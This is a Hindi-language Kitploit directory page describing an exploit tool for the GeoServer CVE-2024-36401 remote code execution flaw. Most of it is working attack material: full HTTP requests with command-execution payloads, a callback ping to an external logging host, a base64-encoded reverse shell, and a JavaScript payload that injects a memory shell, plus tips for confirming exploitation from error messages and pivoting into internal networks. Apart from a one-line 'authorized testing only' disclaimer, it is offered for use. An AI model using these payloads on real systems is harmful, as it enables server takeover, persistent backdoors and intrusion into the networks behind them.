Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
geoserver- — geoserver CVE-2024-36401 शोषण उपकरण | Kitploit
उपकरण/GitHubGitHub/ahisec/geoserver-
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलपेलोड डेवलपमेंट
GitHubahisec/geoserver-

geoserver-

geoserver CVE-2024-36401 शोषण उपकरण

रिपॉजिटरी देखें
46812 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

geoserver CVE-2024-36401 भेद्यता शोषण उपकरण

geoserver CVE-2024-36401 पर्यावरण: JDK8 घोषणा: केवल अधिकृत परीक्षण के लिए, उपयोगकर्ता द्वारा दुरुपयोग से होने वाले सभी परिणाम लेखक से संबंधित नहीं हैं। कृपया कानूनों और विनियमों का पालन करें!

1, डिफ़ॉल्ट payload:

POST /geoserver/wfs HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept: / Connection: close Host: xxxx Accept-Language: en-US;q=0.9,en;q=0.8 Cache-Control: max-age=0 Content-Type: application/xml Content-Length: 356

<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='sf:archsites'/> wfs:valueReferenceexec(java.lang.Runtime.getRuntime(),'ping wsn9.callback.red')</wfs:valueReference> </wfs:GetPropertyValue>

तो यहाँ ध्यान दें: <wfs:Query typeNames='sf:archsites'/>

इस स्थान पर, यदि आपको regex के माध्यम से इसे प्राप्त करने की आवश्यकता है, तो यह sf:archsites वेबसाइट का एक मूल पहचानकर्ता है, आपको पहले इसका

wfs:ReturnFeatureType(.*?)</wfs:ReturnFeatureType> जानकारी प्राप्त करनी होगी, फिर आप जोड़ने का तरीका अपना सकते हैं

भेद्यता का निर्धारण करते समय wfs:valueReferenceexec(java.lang.Runtime.getRuntime(),'ping wsn9.callback.red')</wfs:valueReference>

यहाँ, वास्तव में DNS रिकॉर्ड देखने की आवश्यकता नहीं है

सरल तर्क यह है कि यह देखना है कि कोई असामान्य वर्ग मौजूद है या नहीं

जैसे java.lang.ClassCastException

बेशक, यह केवल निर्णय तर्क है

यह प्रतिध्वनि मूल रूप से 400 है, यहाँ गलती करना आसान है, आपको त्रुटि पृष्ठ का निर्धारण करने के बाद डेटा खोजने की आवश्यकता है

पहले आपको एक <wfs:ListStoredQueries service='WFS'\n" + " version='2.0.0'\n" + " xmlns:wfs='http://www.opengis.net/wfs/2.0'/>

यह जानकारी दर्शाती है कि आप उसका wfs:ReturnFeatureType(.*?)</wfs:ReturnFeatureType> प्राप्त कर सकते हैं

फिर सीधे टेक्स्ट को असाइन करें, फिर एक फ़ंक्शन विधि कॉल करें, टेक्स्ट से कटी हुई जानकारी को पैरामीटर में <wfs:Query typeNames='sf:archsites'/> यहाँ जोड़ें

यह तर्क अपेक्षाकृत सटीक होगा, परीक्षण वर्ग ऐसे ही लिखा जा सकता है

यदि आप हमेशा <wfs:Query typeNames='sf:archsites'/> का उपयोग करते रहते हैं, तो गलत निर्णय की संभावना अधिक होती है, और यह sf:archsites नहीं मिलने का संकेत देगा

रिबाउंड क्लास

आइए रिबाउंड payload देखें:

POST /geoserver/wfs HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,/;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Connection: close Cookie: JSESSIONID=5D030E92A0AFCC3B5006597E6524FD8D Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Priority: u=0, i Content-Type: application/xml Content-Length: 438

<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='sf:archsites'/> wfs:valueReferenceexec(java.lang.Runtime.getRuntime(),'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}')</wfs:valueReference> </wfs:GetPropertyValue>

हम यहाँ ध्यान दें:

<wfs:Query typeNames='sf:archsites'/>

इसी प्रकार, पहले regex द्वारा मान लें और फिर उसे जोड़ें

फिर सीधे अनुरोध करें

YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx यह एन्क्रिप्टेड base64 है

लेखन करते समय, उपयोगकर्ता द्वारा इनपुट किए गए bash -i >& /dev/tcp/127.0.0.1/9999 0>&1 को base64 में बदल दें

फिर अनुरोध भेजें, और फिर महत्वपूर्ण अपवाद वर्ग ढूंढें, निर्णय तर्क की जाँच करें

मेमोरी शेल इंजेक्शन क्लास यहाँ POST /geoserver/wfs HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept: / Connection: close Host: xxx Accept-Language: en-US;q=0.9,en;q=0.8 Cache-Control: max-age=0 Content-Type: application/xml Content-Length: 20383

<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='sf:archsites'/> wfs:valueReferenceeval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),' var str=""; var bt; try { bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str); } catch (e) { bt = java.util.Base64.getDecoder().decode(str); } var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe"); theUnsafe.setAccessible(true); unsafe = theUnsafe.get(null); unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bt, null).newInstance(); ')</wfs:valueReference> </wfs:GetPropertyValue>

यहाँ भी <wfs:Query typeNames='sf:archsites'/> है, पुराना नियम, पहले मान लें

स्टार में, आपके द्वारा उत्पन्न base64 मेमोरी शेल एन्क्रिप्टेड कोड डालें

फिर निर्णय तर्क करें

गलती करने के आसान बिंदु

  1. <wfs:Query typeNames='sf:archsites'/> का पुन: उपयोग, गलत निर्णय की संभावना 98%, त्रुटि इस प्रकार:

https://geoserver.epic.blue/geoserver/schemas/ows/1.1.0/owsAll.xsd"> <ows:Exception exceptionCode="InvalidParameterValue" locator="typeName"> ows:ExceptionTextCould not locate {http://www.openplans.org/spearfish}archsites in catalog.<

भेद्यता वाला बिंदु: <ows:Exception exceptionCode="NoApplicableCode"> ows:ExceptionTextjava.lang.ClassCastException: class java.lang.ProcessImpl cannot be cast to class org.opengis.feature.type.AttributeDescriptor (java.lang.ProcessImpl is in module java.base of loader &apos;bootstrap&apos;; org.opengis.feature.type.AttributeDescriptor is in unnamed module of loader org.apache.catalina.loader.ParallelWebappClassLoader @4b9df8a) class java.lang.ProcessImpl cannot be cast to class org.opengis.feature.type.AttributeDescriptor (java.lang.ProcessImpl is in module java.base of loader &apos;bootstrap&apos;; org.opengis.feature.type.AttributeDescriptor is in unnamed module of loader org.apache.catalina.loader.ParallelWebappClassLoader @4b9df8a)</ows:ExceptionText> </ows:Exception>

सीधे शब्दों में कहें तो भेद्यता मौजूद है तो java.lang.ClassCastException

गलत निर्णय: Could not locate {http://www.openplans.org/spearfish}archsites in catalog

  1. निर्णय का तरीका: कॉल किए गए wfs:ReturnFeatureType> को पकड़ें, टेक्स्ट को असाइन करें - टेक्स्ट फ़ंक्शन विधि को कॉल करें, अनुरोध करें, अनुरोध में जोड़ें, प्रतिक्रिया में अपवाद देखें

टेक्स्ट फ़ंक्शन कॉल करते समय, पहले से मान देना आवश्यक है, ताकि शून्य सूचक अपवाद से बचा जा सके, अनुरोध से पहले जोड़ें, प्रतिक्रिया में अपवाद देखें, अपवाद के भीतर निर्णय लें

अंततः हमने इस भेद्यता शोषण उपकरण को लिखा

image

आइए भेद्यता का परीक्षण करें

उपकरण निष्पादन प्रभाव

image

image

संकेत: कोई प्रतिध्वनि नहीं और भेद्यता आउटपुट मौजूद नहीं होना समान है, यदि भेद्यता मौजूद है तो + चिह्न दिखाई देगा

भेद्यता मिलने पर, शेल में रिबाउंड करें, ऑनलाइन परीक्षण करें, यदि ऑनलाइन हो सके तो आंतरिक नेटवर्क परीक्षण करें

अनुकूलन में कस्टम मेमोरी शेल, बैच डिटेक्शन आदि शामिल हो सकते हैं

image

भेद्यता का पता चला, एंडपॉइंट प्राप्त हुआ, रिबाउंड शेल भी सफल रहा

अब मेमोरी शेल इंजेक्ट करने का प्रयास करते हैं

image

दिखाता है कि मेमोरी शेल सफलतापूर्वक इंजेक्ट हुआ, आइए कनेक्ट करके देखें कि सफल है या नहीं

image

कनेक्ट किया जा सकता है

संकेत: मेमोरी शेल का परीक्षण करते समय, This GeoServer instance is running version 2.15.2. For more information please contact the

इस संस्करण में मेमोरी शेल सफलतापूर्वक डाला गया

उच्च संस्करण विफल हो सकते हैं

अन्य स्वयं परीक्षण करें

image

कस्टम मेमोरी शेल फ़ंक्शन जोड़ा गया

image

अद्यतन लॉग

ls परीक्षण, ping परीक्षण जोड़ा गया

मेमोरी शेल इंजेक्शन की समस्या ठीक की गई

टॉमकैट और जेटी की पहचान जोड़ी गई

गॉडज़िला मेमोरी शेल डिफ़ॉल्ट रूप से जेटी वातावरण का उपयोग करके इंजेक्ट किया जाता है

कस्टम मेमोरी शेल परीक्षण के लिए स्वयं टॉमकैट वातावरण चुन सकते हैं

बैच संस्करण अभी तक जारी नहीं किया गया है

टूल डाउनलोड करें